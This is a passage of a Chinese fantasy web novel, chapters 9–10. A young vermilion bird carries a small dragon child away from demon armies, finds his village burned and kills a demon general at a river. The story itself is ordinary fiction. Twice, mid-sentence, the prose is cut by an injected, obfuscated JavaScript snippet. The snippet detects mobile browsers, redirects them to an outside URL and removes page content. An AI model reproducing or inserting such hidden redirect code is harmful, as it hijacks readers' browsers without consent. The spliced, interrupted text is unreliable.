云眠乖乖迈开步子,秦拓便扶着他的肩。但云眠走得实在是慢,还时不时停下,簇起眉头小声抱怨。 “娘子,我的鞋子上沾了泥。” “别管了。”秦拓竖起耳朵听着周围动静。 “我讨厌鞋子沾泥,你给擦擦呀。” “等走出去了再给你擦。”秦拓忍声吞气。 “这里有些水也,我不想踩水,我们绕过去吧。” …… 秦拓觉得这样不是办法,暗叹一声,突然驻足,在云眠面前半蹲下身。 他本想说我背你,但话还未出口,一双小手已迅速环上了他的脖颈,温热的小身体也膏药似的贴了上来。 “你倒是不见外。”秦拓托着云眠的腿弯直起身,“好好给我指路。” “嗯。”云眠乖巧应声。 “小声点,就在我耳边说,别让那些东西听见。” 云眠便伏在他背上,在他耳边小声提醒:“你前面有个石头……你前面有个树……” 9.第 9 章 秦拓背着云眠,一路躲躲闪闪,终于避开那些魔物的搜寻,走出了这片林子。 他不敢停留,只沿着陡峭的山路飞快往下,靴底在碎石上一路打滑。 云眠被颠得东倒西歪,好几次差点从秦拓背上飞出去。他假发歪斜,挡住了一只眼睛,也腾不出手去扶,只用独眼看着前方,一边哎哎叫唤一边提醒:“大石头大石头,哎哟,大石头,还有大石头。” 到达山脚时,附近已没了魔物,但秦拓仍不敢停歇,继续往前奔。 他素来体质好,耐力尤甚,每日去山脚汲水,担着两桶水上下山往返几趟,依旧气息平稳,粗气也不会喘一口。 这时背着云眠,一口气又跑了近一个时辰,直至拐进一处隐蔽的山坳,这才终于双膝一软,瘫倒在地。 云眠从他背上滚落,在地上翻了个跟头。 秦拓胸脯剧烈起伏,衣衫已被汗水浸透。他伸手探入怀里,发现金球还在,那枚夜明珠已经没了。 他躺在地上,再次将周身摸了一遍,确定夜明珠在方才的颠簸里遗落了,心头不由很是沮丧。 哎,罢了,不过是一颗夜明珠,点火把效果一样。 夜色浓稠,他撑着地坐起身,视线模糊地打量四周,发现这一路奔逃,竟未遇见半个灵族,到处一片死寂。 他心头突然涌起一阵恐慌。明明先前在秦原白面前撂下狠话,说要与朱雀族再无瓜葛,此刻却只想着赶快回去看看。 只歇息了片刻,他已气息平复,体力恢复,便站起身,对坐在一旁的云眠道:“走了。” 云眠正在专心对付头上的假发,一次次将它推到头顶,它却又滑下来,重新挡住眼睛。听见秦拓说走了,索性将它推到脑袋侧,像只歪戴的小帽子,盖住了一只耳朵。 他觉得盖住耳朵也能听见,比盖着眼睛强。 “走吧。”他又朝秦拓高高举起了胳膊。 秦拓垂眸看着他,神情有些复杂。 他想到那总是护着他,宠着他的云氏夫妇,此刻怕是已经丧生,而他却还不知晓,只娇气地伸着胳膊要抱。 “娘子。”云眠又催了声。 秦拓敛起思绪,环顾四周。 他察觉到附近并没有魔物,如果化形赶路,脚程会快上许多。 “你能化形吗?”他问道。 “能呀。”云眠点头。 “那就好。既然能化形,那就别赖在我背上,自己飞着去。” 话音刚落,他周身迸发出赤色流光,转瞬间化作一只通体火红的朱雀。 “哇……”云眠仰头发出惊叹,眼睛亮晶晶地道,“娘子你好好看。” 秦拓对自己的形态没有任何感觉,只展展翅膀,朝着前方飞去。 他飞出十余丈后,左右瞧瞧,停下转身,视线慢慢下移。 只见身后地面上,一条顶着大脑袋的金鳞幼龙,正奋力向前蠕动。他身下四只小爪扑腾得飞快,但脚杆太短,就算刨得尘土飞扬,颠颠的也很慢。 秦拓收翅落地,化为人形,面无表情地看着小龙刨起团团灰雾,一直刨到了自己面前。 “你连飞都不会?” 小龙哈哧哈哧地喘着气:“现,现在不会,但,但娘说,我长大了,就,就可以了。” 秦拓沉默地注视着他,小龙被看得有些心虚,目光躲闪地左右张望,嘴边长须随着他的急促呼吸,扑簌簌地颤。 秦拓知道只能背着他,不然这怕要走到明年去。 云眠见秦拓不说话,有些紧张,想去扶正歪斜的假发,但龙爪子太短,够不着头顶,只在空中抓挠了两把。 秦拓看见他的动作,顿了顿:“做什么?” 云眠收回爪子,摇摇头不做声。 下一刻,赤色流光闪过,朱雀腾空而起,背上负着小龙。 秦拓振翅,飞向炎煌山方向。他飞得不算快,但就眼下这速度,依然让云眠感到心惊肉跳。 云眠虽然不是头一回上天,可往日都是被爹娘稳稳抱在怀中,哪像此刻这般惊险。每次秦拓侧身转向时,他的身子也跟着歪斜,仿佛下一瞬就要坠下去。 慌乱间,他试图用前爪抱住秦拓,奈何龙爪太短,他便悄默默变回人身,两条胳膊搂住了秦拓的脖颈。 秦拓载着云眠往前飞行,眼前雾蒙蒙地看不清,只能勉强看见山体轮廓。好在云眠一直在提醒,所以倒也没有出现什么意外。 起初云眠还会惊慌地大喊,比如前面有山,或者要撞上了之类。但风会灌一满嘴,他便渐渐沉默下来,只用手揪紧秦拓的羽毛进行提醒。 小手每次突然收紧,秦拓就立刻转向,往左揪就往左飞,往右扯就往右飞。如此下来,他后背两侧很快便火辣辣地疼。 “你轻点!” 秦拓左侧羽毛又被猛地一扯,他仓促侧身,翼尖堪堪擦过一块黢黑的石碑。他回头看去,看见那石碑上刻三个发光的字,梦狐谷。 他乘着喜轿自炎煌山前往龙隐谷时,曾途经此处,知道这里已是影狐族地界。 “啊!那里,娘子,你看那里!”云眠突然出声。 秦拓眯起眼,只能看见一片模糊红光。 “有火哦。”云眠的声音听上去有些兴奋,“很多火哦。” 秦拓心里一紧,朝着那红光处飞而去。随着距离越来越近,魔气也越来越重,他警觉地放缓速度,一边留意四周,一边贴着山壁前行。 “娘子——” “嘘,别说话!”秦拓低喝。 云眠感觉到异常,也警惕地左右张望,再俯在他耳边小声问:“是有罗刹婆婆吗?” “对。” 云眠身体一颤,急忙道:“那我们快走。” “等等。” 云眠急得挠他后背:“不等等,我们不等等。” “我就看下前面,你别动来动去。” 秦拓故意一侧身,云眠顿时不吭声,只紧紧抱着他。 秦拓绕过面前的山头,远方便是一片山谷。此刻谷里正燃烧着熊熊大火,黑烟翻卷间,隐约可见房屋在焰火中坍塌。 空地上晃动着不少黑影,他无暇去辨别那是狐族还是魔物,只倏地转身掉头,藏到了山背后。 “你看到了吗?那些房子在烧。”云眠趴在他背上,语气既茫然又震惊。 秦拓喉头发紧,胸腔里心脏擂鼓,不敢再耽搁,赶紧飞向炎煌山。 此刻目睹梦狐谷被焚烧,他惊觉其他各族恐怕也难逃厄运。难怪龙族被攻,却迟迟无人增援,想必各族都已自顾不暇。 那朱雀族此时是什么情况?族人们可否安好? 他只觉得口中发干,心头焦灼,恨不得立即便飞到炎煌山。 秦拓这一路不曾停歇,只沉默地飞行。云眠倒也乖乖趴在他背上,只是在夜半时抵不住困意,在他背上扭,断续的哼哼声也传入他耳里:“小龙的鳞片……闪呀闪……踩着云朵……云朵……” 哼哼声很快消失,小孩就那么趴在秦拓背上睡了过去。 他睡得很香,揪着毛羽的小手松开,两条腿软软地垂在半空,时不时还打着呼噜。 只是途中他好几次险些滑落,秦拓不得不频频左□□斜,调整他在自己背上的位置。 天亮时分,朱雀终于飞到炎煌山附近。破晓的微光穿不透厚重魔气,只将天地染成一片铅灰色。 他已经能看见伫立在远方的炎煌山,正要加快速度,却突然听见前方传来隆隆响声,如同闷雷滚过天际。 这声音他昨晚才听过,是幽冥驹奔跑的蹄声。他心头狂跳,慌忙背着还在酣睡的云眠,躲去旁边山壁上的一处岩洞里。 岩洞不大,仅容他和云眠藏身。云眠被他卸在地上,竟然都不醒,还靠着洞壁继续睡。 罗刹鸟的振翅声靠近,秦拓一动不动,连呼吸都放得很轻。他现在不敢叫醒云眠,怕他突然出声,只盼他就这样安静地睡。 魔鸟群从山洞上方飞过,巨大的翅翼将洞内光线遮挡得时明时暗。云眠突然咂了咂嘴,秦拓怕他醒来,正想去捂他的嘴,却见他并未睁眼,只将歪在脑袋侧的假发扯到正前方,盖住眼睛。 他做完这番小动作,又沉沉睡去,秦拓暗暗松了口气。 待到罗刹鸟尽数飞过,秦拓微微探头,看见下方是疾驰的黑甲骑兵,那铠甲在晦暗天光下泛着森冷寒意。 他猛地缩回洞中,意识到这支魔军恐怕是刚从炎煌山撤走,顿时如坠冰窖。 待魔军终于消失在山背后,秦拓一把拽过还在睡觉的云眠,直接将人甩到自己背上,再一个俯冲出洞,双翼唰地展开。 刹那的失重感终于惊醒了云眠,他倏地睁开眼,僵直着脑袋,受激般一口口倒抽着气。 “娘,娘……” “别动!”秦拓低声厉喝,翅膀急转避开一道山脊。 云眠没有再出声,只紧紧贴在秦拓背上。秦拓疾飞向炎煌山,虽然被那双小手揪紧了毛羽,此刻却完全感受不到疼痛,满心只剩焦灼。 他从小到大,很少离开炎煌山。汲水时下到山脚,他会驻足仰望,看山腰处那些村落屋舍,宛若雨后的蘑菇,一朵朵点缀在苍翠林间。 可当他掠过最后一道山脊,出现在视野里的村子已成为一片焦土,残垣断壁间冒出缕缕黑烟。 当他遇到魔军铁骑,其实便已预见了最糟的结局,但心底终究还是存有一丝侥幸。现下所有希望破灭,心头蓦然绞痛,眼泪也险些涌了出来。 他失控地冲向村子,一路飞得歪歪斜斜。背上的云眠并不知道这些,只惊诧地道:“你看那里,好多烧掉的房子,还有好多人。” 秦拓这才发现,那废墟间晃动着数道黑影。虽然隔着一段距离看不真切,但村里人向来只穿灰布短褐,这些黑影应当是身着战甲的魔军。 秦拓不敢靠近,落在距离村子半里外的密林中。他将云眠放在一处茂密树冠间,浓密枝叶掩盖了小孩的身形。 “我,我坐不稳。”云眠紧张地趴在树枝上,两只手抱着树干。 “那你变成龙攀住。” 云眠便变成了一条金鳞小龙,龙尾在树干上绕了一圈。 “你就呆在这儿,我去去就回。”秦拓转瞬化为人形,半蹲在树杈间,身上还穿着那件象牙白锦缎袍子。 云眠身旁时刻都簇拥着丫鬟婆子,听见秦拓要让他独自呆在这陌生密林里,顿时慌了神。 “我不。”他惊慌地去抓面前的人,但爪子太短,在空中飞快挠了两把后,干脆扑进秦拓怀里,“我不要一个人在这里。” “不行。”秦拓拒绝,“你就在这棵树上等我。”接着又威胁,“要是我回来看见你挪了地方,就把你扔这儿不管了。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301643|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻红着眼眶,眼底也布满血丝,小龙被他这透出凶狠的神情吓到,慢慢松开了揪住他衣襟的爪子。 秦拓滑下树,云眠眼巴巴地望着他:“那你快点回来接我呀。” 秦拓没有做声,转身没入昏暗的树林。 村子上空飘散着焦木与灰烬的呛人气味,几十名魔众正在残垣间翻找搜寻。一道象牙白身影从断墙后闪过,悄然没入村中。 秦拓躲闪前行,挨个查看每间屋舍,期盼能找到幸存者,但所见尽是焦炭般的尸骸。他行至一座老槐树下时,又见一窝坠落的鸟蛋,被烈焰炙烤得如同漆黑的鹅卵石。 他定定着看着那窝鸟蛋,正要上前,却听见靴履踏碎瓦砾的声响。 他垂在身侧的手握紧,虽然胸腔里翻涌着恨意,只想将这些魔物杀个精光,但残存的理智还是压下了冲动,侧身躲去了墙后。 “大军已去攻打雾隐族,就留下我们在这儿。”一个沙哑的声音响起,“待到打下雾隐族,君上肯定会来这儿,若我们还找不到那东西——” “闭嘴。”另一个声音厉声打断,“继续搜!那东西肯定被秦原白藏起来了。” 秦拓闭着眼,将涌上喉间的腥甜咽了下去,薄薄的眼睑下,眼球不受控制地颤动着。 他知道这些魔在寻找什么,必定是朱雀族的宝物涅槃之火,而他也知道舅舅将它藏在哪里。 一年前的一个闷热夏夜,他躺在自家床上,竹席黏在汗湿的背上,让他翻来覆去睡不着,干脆趿拉着草鞋出了门。 月光像一层薄纱,远处稻田里传来断断续续的蛙鸣。他在山坡上寻了块青石板躺下,夜风轻柔拂过,很快带走了一身燥热。 他迷迷糊糊正要睡着,却听见远处传来脚步声。他支起半边身子看去,看见有人擎着火把,顺着山路往村外走,那身影分明是舅舅秦原白。 族人们都是雀盲,晚上基本不出门。秦拓不知道舅舅这时候出村做什么,想了想,便悄悄跟了上去。 秦原白出了村,便灭了火把,但今晚月色很好,所以舅甥俩都能看清路。 秦原白似乎心情很好,一边走一边哼着歌,声音不大,却能清晰传入秦拓的耳中。 “一转西峰月,五绕南山松。月照双足印,子时听清风……” 秦原白反复哼唱,秦拓就一直悄悄尾随着。 月轮圆满,清辉漫过田埂,将田间小路镀成一道银练。秦原白偶尔会坐在路旁大石上,慢悠悠地抽着旱烟,秦拓不敢靠得太近,只远远看着那一点火星,在夜色中明明灭灭。 秦原白一直走到了后山,停在一片山壁前。他取下衔在嘴里的烟杆,在地上敲熄,将烟杆别在腰后,再直起身,背着手左右张望。 秦拓怕被他发现,慌忙隐入一棵古松背后,不敢再看。 但当他听见山壁处传来一道沉闷声响,终究还是按捺不住好奇,悄悄探出头。正好看见那片山壁竟缓缓分开,现出一个不大的洞,舅舅探手,从里面取出了什么。 秦拓赶紧又缩回了头。 他早知道炎煌山有一处秘洞,藏着朱雀族至宝涅槃之火,想来这便是那处藏宝地。 几名魔兵还在说话,唤回秦拓的思绪。 “……我们已经把整个村子翻了个底朝天,也没找见涅槃之火。” “没准儿地下有密室,再仔细找找。” 秦拓待那两名魔兵离开,才离开藏身的屋子,在那些废墟间飞快穿梭,摸到了秦原白居住的院落。 院子已经被烧得面目全非,他踩着尚有余温的灰烬,在屋内找了一圈,没有见着什么尸体。 墙角有什么在闪光,他蹲下身,拾起了一根铜烟杆。 秦拓一直觉得自己对这个舅舅没什么感情,但现在看着烟杆,喉头像是被什么哽住了。 一滴眼泪滑下脸庞,滴进脚下的灰烬里,溅出了一个小坑。 院墙外又响起了脚步声,秦拓便没有停留,从后院的断墙缺口钻了出去。 确定村内已经没有活口,他放弃了徒劳的搜寻,直接奔向了村尾。 村尾只有几座小屋,所以没有魔兵。秦拓远远便看见了自己的那栋小房子,外观还算完好,只是土墙被熏得黢黑。 他进入屋内,闻到了浓重的焦糊味。屋子里本就没有什么家具,仅有的那张木床也已化成了灰。 他目光落在屋角,那里躺着一把黑色长刀。他猛地冲上去,双手紧握刀柄,小心地提起。 这柄刀入手沉甸,刀鞘破旧不堪,不知是用何种材质做成,竟然没有被火烧毁。他拔出刀,刀身布满斑驳不平的铁锈,长约四尺,刃口厚钝无华。 正是它这幅浑若废铁的模样,才没被魔兵拿走。但这却是父亲的遗物,也是父亲留给他的唯一念想。 当年舅舅将他接回炎煌山时,除却一个用旧床单改成的襁褓,就只有这把钝刀。 他向来将它放在床底,只偶尔在夜深人静时,双手握刀,笨拙地比划几个招式,想象那从未谋面的父亲,舞动这把刀时会是怎样的风采。 他只敢在夜半偷偷练刀,因为怕秦原白知晓。舅舅不喜他舞刀弄枪,若发现他在习练,便会大发雷霆,让他好生跟着族学先生念书。 当日他被轿子抬去龙隐谷时,根本来不及带上这把刀。原想着找机会回来取走,此刻刀虽在手,却不想村子竟成了这般惨况。 10.第 10 章 云眠趴在树杈间,望眼欲穿地盼着秦拓回来。他很想去找人,却又想起自个儿答应了秦拓不能离开这棵树,便只得煎熬地继续趴着,爪子唰唰挠着树干。 有一年深冬,云夫人提起想要一支红梅插瓶,云飞翼当即应承下来。但他这一出门竟是半月,原来灵界的梅花还未开放,他竟是去了人界,千辛万苦才寻得一支含苞的红梅。 云夫人既心疼又甜蜜,嗔怪道:“我不过就是随口一句,谁想到你会这样折腾?” 云飞翼将红梅插入瓷瓶中,笑着道:“我既应了娘子,那便是刀山火海也要践诺。” “这种小事哪值得这样较真?”云夫人别过脸去,耳尖微微泛红。 “那可不行,丈夫一诺,重若千钧,不然以后还怎么让娘子看得起?” 云眠当时就站在旁边,眼珠滴溜溜地转,把爹娘的对话一字不落听进了心里。 他现在也是夫君,那么答应了娘子不下树,就是把树皮挠穿了也得老老实实趴着。 不然就会被娘子看不起,踢再多的轿子,娘子以后也不会听他的话。 云眠视线落在前方树干上,突然定住。只见几只毛虫顺着树干,正一拱一拱地朝着他这方向前进。 他从来最怕这些软趴趴的虫子,呆了一瞬后,浑身鳞片炸起,龙尾绷得笔直,整条龙差点就要弹射出去。 但他就算恐惧,也还记得不能下树,只忙不迭往后缩,挥舞着爪子:“走开,你们走开,快走。” 秦拓回到这片树林时,云眠已经退到了这根树枝的末端。树枝太细,他只能用尾巴勾着,自己倒悬在空中。那树枝被弯成了满月弓,随时都会折断。 云眠以倒挂的姿势看见了秦拓,眼里顿时蓄了层泪水,哆嗦着嘴唇唤了声娘子。 秦拓看着他,停下脚步,他又求助道:“有虫虫。” 秦拓扫了眼树枝上的那列毛虫,语气平淡:“下来。” “要,要摔。” “我接着你。” “你都没有伸手。” 等秦拓伸出手,云眠立即松开尾巴,迫不及待地坠入他怀里。他一边紧紧抱着秦拓的脖子,一边急声道:“快看看我身上有没有虫虫,快看快看。” “没有。” “你认真地看呀!你把我拍一拍,抖一抖。” 秦拓怕他动静太大,引来村子里的魔军,便双手握住他在空中左右甩动,又敷衍地拍了拍龙尾巴:“好了。” “有虫虫吗?” “没有。”秦拓将他放在地上,“你现在化为人形,我们准备离开这里。” 秦拓转身朝林子外走,云眠化为人形后,没有立即追上去,只站在原地提醒:“你都还没背我。” “我背着这个。”秦拓反手指着自己头侧的刀柄。 “那你可以抱我。” “抱不动。” “那你把那个扔掉嘛。” “刀不能扔,要扔也只能扔你。” 云眠撅着嘴不动,但见秦拓一直不回头,又瞥了眼身旁的树,生怕会掉下来毛虫,还是一溜小跑跟了上去。 “到了炎煌山,我要给爹告你。”他噘着嘴小声嘟囔。 两人往林子外走,云眠脚下踩到树根,整个人往前一栽,慌忙抓住秦拓的衣袖,才没有摔倒。 秦拓皱了皱眉,想到下山全是林子,对一个五岁孩童来说的确太难,终于还是抱起了云眠。 “你抱了我,等到了炎煌山,我就不找爹爹告你哈。”云眠搂住他的脖子,讨好地道。 半个时辰后,两人终于下了山。这里已经不会被魔兵发现,秦拓停下脚步,放下怀里的云眠,转身远眺半山腰的村落。 他在地上掘了个小坑,从怀中取出那杆烟枪,埋进去,再坐在小坑旁,垂着头,两手搭在膝盖上。 他没有寻到秦原白的尸首,族人的尸体也没见着几具,这是不是表示,他们其实都已经逃了,并没有被魔军所害? 但这个烟杆,舅舅从不离身,希望是逃得太匆忙,才不慎从身上掉落的。 秦拓再抬起头时,除了眼睛还有些红,神情已经恢复正常。他一言不发地站起身,朝着来时的反方向走去。 云眠赶紧小跑着追上前,一把攥住了他的袍角。 “我们去哪儿呀?”云眠快步跟着,频频去看他的脸。 秦拓眼里掠过一抹茫然:“我不知道。” “我们去炎煌山呀!”云眠跺跺脚,用得意的语气责备道,“我就知道你忘了,还好你夫君记得,爹娘还在炎煌山等我们呐。” 秦拓沉默片刻,很轻地回道:“对,我们去炎煌山。” 他这样回答着,心里却一片茫然。 龙隐谷没了,炎煌山也没了,舅舅和族人生死不知。 倘若活着,那他就能安心。若是死了,就算自己现在没有那个本事,日后也要为他们报仇。 但目前情况下,四处都是魔军,他只能去寻十五姨,再找机会打探朱雀族人的消息。 可只他一人也好说,身边却带了个云眠。既不能任其自生自灭,又不能相隔太远,这小长虫要是有个闪失,自己也得搭上性命…… 云眠浑然不觉他的忧虑,只牵着他往前走,絮絮讲述方才遭遇毛虫的事。他说着说着,曲起一根白嫩的手指,模仿毛虫一拱一拱爬行的模样。 “……我不太喜欢虫虫,但是我没下树哦。我答应了娘子不下树,那便是刀,刀,刀火火也要诺。” 秦拓的思绪一再被打断,那些哀伤还未来得及在心头沉淀,便被云眠的叽叽喳喳搅得烟消云散。 “你那么喜欢蝈蝈,为什么会怕毛虫?”他终于忍不住问。 云眠不知道蝈蝈和毛虫为何会扯在一起,不解地看着他。 “它们都是虫。”秦拓提醒。 云眠瞪圆了眼睛:“蝈蝈又不是虫虫,蝈蝈是蝈蝈,毛虫才是虫虫。” 秦拓没再说什么,只往前走,云眠跟在他身旁:“蝈蝈是虫,蝈蝈是虫……”他突然扑哧笑,又摇头叹气,有些怜爱地拍拍秦拓的手,“为夫不会给别人讲的,不让他们笑话你。” 十五姨嫁去了弘沙地,秦拓早把路线摸得门儿清,若是变成朱雀飞行,约莫要半个月。 但四周的魔气越来越重,天空上不时有罗刹鸟飞过,十来只一群,每只鸟背上都骑着一名魔兵。 秦拓不知灵界现在怎么样了,无上神宫又是什么情况,但现在肯定没法上天,大道也走不得,便带着云眠钻入了路旁的林子。 “那些都是罗刹婆婆吗?”云眠也紧张地仰着头。 “是魔。” “魔……” “比罗刹婆婆还要可怕。” “那,那……” “所以你别太大声,免得被他们听见。” 云眠走得磕磕绊绊,几次差点摔倒,秦拓又将他抱了起来,仰头看看高空的鸟影,心里有些愁。 如果一直不能飞行,照这脚程,不知道要走到什么时候。 半个时辰后,秦拓听见了潺潺水声,这才察觉口中干渴。他循声而去,拨开一从灌木后,看见了一条河流。 秦拓将人和刀都放下,自己蹲在河边俯下身,就着流动的清水啜饮。云眠看看他,有样学样,撅起屁股埋下脑袋。 眼看他就要一头栽进水里,秦拓倏地伸手,一把揪住了他的后衣领。 秦拓洗净双手,改用手掬起水喝。云眠眨了眨眼睛,也将两只小手在水里洗净,再并拢,小心翼翼地捧起水递到嘴边,嘴巴撅得老长去吸:“啾……” 那水却从指缝间漏掉,他非但没喝到一口,反倒全淋在了胸前。 “我不喜欢这样喝水。”云眠微微拧起眉,盯着秦拓看了片刻,有些责怪地问,“你出门怎么不带着夫君的杯子呢?” 秦拓朝他笑了笑,龇出一口白牙:“是小的考虑不周,不如咱们再原路走一趟,把您的金夜壶也一并带上。浴桶要不要?熏香炉带不带?再来八个丫头打扇子?” 云眠眼睛一亮,正要应声,却又察觉到他虽然在笑,但那神情有些危险,便不再出声,只继续捧水。 秦拓瞥见他反复尝试,那锦缎红袍前襟上的湿痕越来越大,还是甩净手上的水,将他一把抱起,夹在腋下,双腿推高,脑袋那一头逐渐放低。 云眠便以一种头低脚高的倒斜姿势,张嘴去喝那溪水。 “这样喝水吗?我没这样喝过哟。” “小少爷,条件不好,您就凑合一下。” 秦拓将他放平了些,云眠拼命伸长脖子撅着嘴,终于成功喝到了水。 “其实我可以跳到河里去喝的,衣裳还不会湿。”云眠被放下后,舔舔唇上的水珠。 秦拓:“……那你不早说?” 云眠眨眨眼:“可是我想像娘子一样喝水。” 天空阴沉,四周安静得出奇。秦拓看见河面上漂浮的魔气越来越浓,像是一层灰色雾瘴,心头涌起了一阵不安。 当他听见一声很轻的扇翅声,后背袭来一阵阴风时,猛地往旁边扑出,同时一把抄起旁边的云眠,将人往前抛出。 “哇——” 扑通! 云眠坠入水中时,秦拓也在河滩上翻滚。眼角余光瞥见两扇巨大的翅翼从头顶掠过,一把长刀劈在他刚才站立之处。 罗刹鸟随着惯性,一直冲到河面上,再迅速转头。秦拓狼狈地爬起身,看见鸟背上骑着一名身着铠甲的魔将,手里长刀垂在水面,发出森冷寒光。 魔将的皮肤冷白泛青,一双眼嗜血冰冷。他也注视着秦拓,一手缓缓举起刀,另一只手抓紧了罗刹鸟的缰绳,是一个即将冲锋的姿势。 秦拓自幼便听族里人讲那些关于魔的事,心里也暗暗掂量过。他觉得倘若遇到魔兵,自己兴许能打过,但面前是一名魔将,他深知自己绝无胜算。 他顿觉心跳得要蹦出喉咙,弓起背喘着气,目光死死盯着对方。 如果现在化形,抓起云眠逃走,凭借朱雀的速度,罗刹鸟应该追不上。但天上还有其他魔兵,只要上天,那必定会暴露行踪。 魔将猛地一拉缰绳,罗刹鸟嘶鸣一声,便要朝着这方飞来。秦拓眼下也没有别的选择,咬咬牙正要化形,却听哗啦一声水响,河面炸起一道两米高的水花,一条金鳞小龙破浪而出,一口咬住了罗刹鸟的脚杆。 “吱——” 罗刹鸟发出刺耳尖啸,拼命甩动自己的脚爪。但小龙咬得很紧,身体被甩得来回摆动也不松口。 那魔将低头,在看清云眠后,眼里凶戾化为惊喜,狞笑道:“我找得好苦,这小金龙居然藏在这里。” 他也顾不得还站在岸边的秦拓,只一边大笑,一边俯身去抓还悬在半空的小龙。 云眠死死咬着罗刹鸟的脚杆,还凶狠地左右甩头,嘴里发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304104|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜呜的声音,想将它往水里拽。 但他两只眼珠子往上瞅,看见那伸来的手后,愣了愣,立即松口想要往水里钻。 魔将却一把钳住他的喉咙,像捉泥鳅般将他拎了起来。 小龙张嘴去咬,几只短爪在空中抓挠,却怎么也碰不到对方,只能扭动身子徒劳地挣扎。 魔将扯了把缰绳,示意罗刹鸟起飞,但罗刹鸟却没有听命,开始剧烈抽搐。他再次扯了下缰绳,便见那鸟脖处突然裂开一道血线,暗红的血雾在空中爆开,硕大的鸟头竟与身躯分离。 魔将错愕,手中力道顿松,还在扭动的小龙便掉落水中。 魔将跟着鸟尸一起坠落,余光看见那名少年已站在身前,双手握着一把黑刀。 他现在顾不得那么多,入水的瞬间便去抓小龙。但小龙身形一扭,转瞬便已游走。 魔将刚要去追,忽然侧身闪避,躲过了从旁边劈来的一刀。 秦拓站在大腿深的河水里,这一刀落空后,知道情况不妙,转身便朝着河岸跑。 他踏得水花高高溅起,调动所有的灵力给自己布下灵盾,却只听嚓嚓两声闷响,那薄弱灵盾瞬间便被魔气击得稀碎。 他踉跄着踏上河岸,魔将已追至身后,长刀挟着破空之声当头劈下。 秦拓咬咬牙,转身架刀硬接。只听铮的一声锐响,他双臂被震得发麻,黑刀当即脱手,掉落在石滩上。 可那魔将手中的长刀竟从中而断,半截残刃旋转着飞出去,斜插入远处的泥地里。 魔将脚步一顿,有些愕然地看自己手中的断刀。秦拓抓住这瞬息机会,转身便逃。 但他终究身手青涩,比不过身经百战的成年魔将,未逃出几步便被一把擒住,狠狠按倒在地。 秦拓的脸颊压在石头上,被刺得皮肉生疼。还未缓过劲,又被魔将掀过身,铁钳般的五指扼住了他的咽喉。 秦拓拼命去掰颈间的手,双腿奋力踢蹬,却被魔将一记膝压死死抵住。他面庞涨得通红,只觉得肺部如火烧般灼痛,眼前金星乱迸。 就在他意识逐渐模糊时,颈间的钳制却突然松了少许,几缕空气钻入喉咙。 魔将依旧掐着他的脖子,却慢慢转头,神情狰狞地看向身侧。 云眠已恢复成人形,站在他们旁边,怀里抱着一块甜瓜大小的石头,满脸惊慌地看着魔将。 “你敢砸我?”魔将语气阴森地道。 “不敢。”云眠吓得往旁窜出几步,使劲摇头,颤着声音道:“不是我砸的,不是,另有个人砸的,他已经跑了,可能是罗刹婆婆。” “快,快……”秦拓躺在石滩上,从齿间蹦出两个字,同时伸手,去够掉在旁边的黑刀。 魔将听见秦拓的声音,又转回头,眼中凶光一闪,手指再度用力掐住他的脖颈。 但接着又是一声闷响,魔将的脑袋受到重击般晃了晃,一道血痕从他脸侧慢慢淌下。 魔将甩了甩头,动作略迟缓地看向身侧。他眼神有些发直,神情却处于暴怒中,青白的脸皮上淌着血,模样很是可怖。 云眠抱着石头又往旁挪,小声澄清:“不是我砸的呀,那个人刚跑了呀,我帮你去爹爹那里告他。” 秦拓却抓住这机会,猛然发力挣脱钳制,在地上连滚两圈,一把抄起地上的黑刀。 他双手攥紧刀柄,回身时全力横斩,一颗头颅便飞上天空,在半空中划出一道弧线,远远坠入了河里。 黑血一股股从魔将断颈处喷出,跪坐于地上的半截身躯慢慢扑倒,铠甲和石头撞出一声脆响。 这是秦拓第一次杀人,虽然对方是魔。 他被血溅得满头满脸,只看着那具尸体,看那脖颈处翻卷的皮肉,浓稠黑血慢慢渗进石缝里。 他想移开视线,颈项却僵硬得无法转动。想从这里走开,双脚却不听使唤。只双手用力握着刀柄,指节都泛起了青白。 直到一股腥臭钻入鼻腔,他才猛地扑到河边,哇一声吐了出来。 待到喘息稍平,他跪在河滩上转头。目光穿过垂落在脸上的发丝,看见云眠仍呆立在原处,一张脸煞白,圆睁的眼里盛满惊惧。 云眠看见秦拓那张糊满黑血的脸转向自己时,身体不受控制地开始发抖。 秦拓拄着黑刀站起身,有些踉跄地朝他走去。刀尖拖在地上,不断和碎石碰出声响。 云眠一直看着他,在瞧见他越来越近后,一双小脚开始慢慢后退。 “过来。”秦拓停下脚步,沙哑着声音开口。 云眠非但没有上前,反而扔掉石头,转身向后奔跑,像一只受惊的小兽。 “你跑什么?你去哪儿?你疯了?” 云眠听见他的声音,却跑得愈发急,被一块石头绊倒,哎哟一声又飞快地爬起来,眨眼便冲入了树林。 秦拓从未见他跑出过如此快的速度,看着那小小的背影消失在林子里,在原地呆立了半晌,这才走到魔将的尸体旁边,想要把尸体拖进河里。 若尸体就这样摆在河滩上,会被天上飞过的罗刹鸟发现。 但就在他弯腰去抓尸体的脚踝时,却发现那尸体上冒起了黑烟。 待那黑烟消散,尸体已不见踪影,一块染着污血的石头上,静静躺着一个泥人。 